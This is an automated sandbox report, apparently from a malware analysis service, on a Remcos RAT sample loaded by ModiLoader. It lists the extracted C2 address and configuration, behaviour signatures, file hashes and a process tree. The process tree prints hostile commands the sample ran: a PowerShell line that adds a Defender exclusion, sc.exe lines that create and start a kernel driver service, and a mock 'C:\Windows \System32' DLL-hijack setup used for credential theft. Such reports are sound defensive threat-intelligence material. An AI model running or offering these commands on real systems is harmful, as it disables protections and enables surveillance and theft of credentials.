Analysis

  • max time kernel
    138s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2024, 10:46

General

  • Target
    file.exe
  • Size 1.8MB
  • Sample240131-mtzeqsadf2
  • SHA256 371f543a58bcb2c9fcaa6f57866aa37e8607c69773bddf3cf81b4af0b6ff1530
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 23.95.60.87:8823

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-SYIEJK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • ModiLoader Second Stage 1 IoCs
  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 8 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\EnfybiiqO.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:448
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c mkdir "\\?\C:\Windows "
        3⤵
          PID:1668
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
          3⤵
            PID:1052
          • C:\Windows\SysWOW64\xcopy.exe
            xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
            3⤵
            • Enumerates system info in registry
            PID:5020
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
            3⤵
              PID:408
            • C:\Windows\SysWOW64\xcopy.exe
              xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
              3⤵
              • Enumerates system info in registry
              PID:3184
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
              3⤵
                PID:560
              • C:\Windows\SysWOW64\xcopy.exe
                xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
                3⤵
                • Enumerates system info in registry
                PID:3928
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                3⤵
                  PID:3352
                • C:\Windows\SysWOW64\xcopy.exe
                  xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
                  3⤵
                  • Enumerates system info in registry
                  PID:2444
                • C:\Windows \System32\easinvoker.exe
                  "C:\\Windows \\System32\\easinvoker.exe"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:1912
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2480
                    • C:\Windows\system32\cmd.exe
                      cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1536
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                        6⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2492
                    • C:\Windows\system32\sc.exe
                      sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                      5⤵
                      • Launches sc.exe
                      PID:2120
                    • C:\Windows\system32\sc.exe
                      sc.exe start truesight
                      5⤵
                      • Launches sc.exe
                      PID:224
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1624
                • C:\Windows \System32\easinvoker.exe
                  "C:\\Windows \\System32\\easinvoker.exe"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3572
              • C:\Windows\SysWOW64\colorcpl.exe
                C:\Windows\System32\colorcpl.exe
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:4976
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\yscljonhnlamdlmzdkcnlxkdwfpdzgjbl"
                  3⤵
                    PID:3484
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\jmhdc"
                    3⤵
                    • Accesses Microsoft Outlook accounts
                    PID:1924
                  • C:\Windows\SysWOW64\colorcpl.exe
                    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\tomwdzic"
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2940
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4976 -s 1372
                    3⤵
                    • Program crash
                    PID:2044
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4976 -ip 4976
                1⤵
                  PID:1184

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      __PSScriptPolicyTest_fiz4suk5.dds.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fiz4suk5.dds.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      yscljonhnlamdlmzdkcnlxkdwfpdzgjbl

                      • Path C:\Users\Admin\AppData\Local\Temp\yscljonhnlamdlmzdkcnlxkdwfpdzgjbl
                      • Size 4KB
                      • SHA256 155c37d976ae56d6d9d7bed09e2802dade565be58b8af769b1e815ceb044c318
                      • MD5 SHA1 SHA512 SSDEEP

                      EnfybiiqO.bat

                      • Path C:\Users\Public\Libraries\EnfybiiqO.bat
                      • Size 7KB
                      • SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
                      • MD5 SHA1 SHA512 SSDEEP

                      KDECO.bat

                      • Path C:\Users\Public\Libraries\KDECO.bat
                      • Size 4KB
                      • SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
                      • MD5 SHA1 SHA512 SSDEEP

                      easinvoker.exe

                      • Path C:\Users\Public\Libraries\easinvoker.exe
                      • Size 128KB
                      • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                      • MD5 SHA1 SHA512 SSDEEP

                      netutils.dll

                      • Path C:\Users\Public\Libraries\netutils.dll
                      • Size 116KB
                      • SHA256 e443c8e9201f17ef4180d97a8505c24b4645e3ab25eacdeb8807d036229e2c1a
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1456-0-0x00000000024E0000-0x00000000024E1000-memory.dmp

                      memory/1456-4-0x0000000000400000-0x00000000005D2000-memory.dmp

                      memory/1456-2-0x0000000004120000-0x0000000005120000-memory.dmp

                      memory/1456-1-0x0000000004120000-0x0000000005120000-memory.dmp

                      memory/1456-43-0x00000000024E0000-0x00000000024E1000-memory.dmp

                      memory/1912-29-0x00000000613C0000-0x00000000613E3000-memory.dmp

                      memory/1924-67-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/1924-73-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/1924-78-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/1924-82-0x0000000000400000-0x0000000000457000-memory.dmp

                      memory/2492-39-0x0000020AF1ED0000-0x0000020AF1EF2000-memory.dmp

                      memory/2492-46-0x00007FFE31E80000-0x00007FFE32941000-memory.dmp

                      memory/2492-42-0x0000020AF1F00000-0x0000020AF1F10000-memory.dmp

                      memory/2492-41-0x0000020AF1F00000-0x0000020AF1F10000-memory.dmp

                      memory/2492-40-0x00007FFE31E80000-0x00007FFE32941000-memory.dmp

                      memory/2940-75-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2940-70-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2940-81-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2940-79-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/2940-74-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/3484-88-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/3484-72-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/3484-80-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/3484-66-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/3484-77-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/3572-49-0x00000000613C0000-0x00000000613E3000-memory.dmp

                      memory/4976-52-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-51-0x00000000052D0000-0x00000000062D0000-memory.dmp

                      memory/4976-55-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-60-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-62-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-65-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-61-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-53-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-58-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-57-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-90-0x000000001DE20000-0x000000001DE39000-memory.dmp

                      memory/4976-93-0x000000001DE20000-0x000000001DE39000-memory.dmp

                      memory/4976-95-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4976-100-0x00000000052D0000-0x00000000062D0000-memory.dmp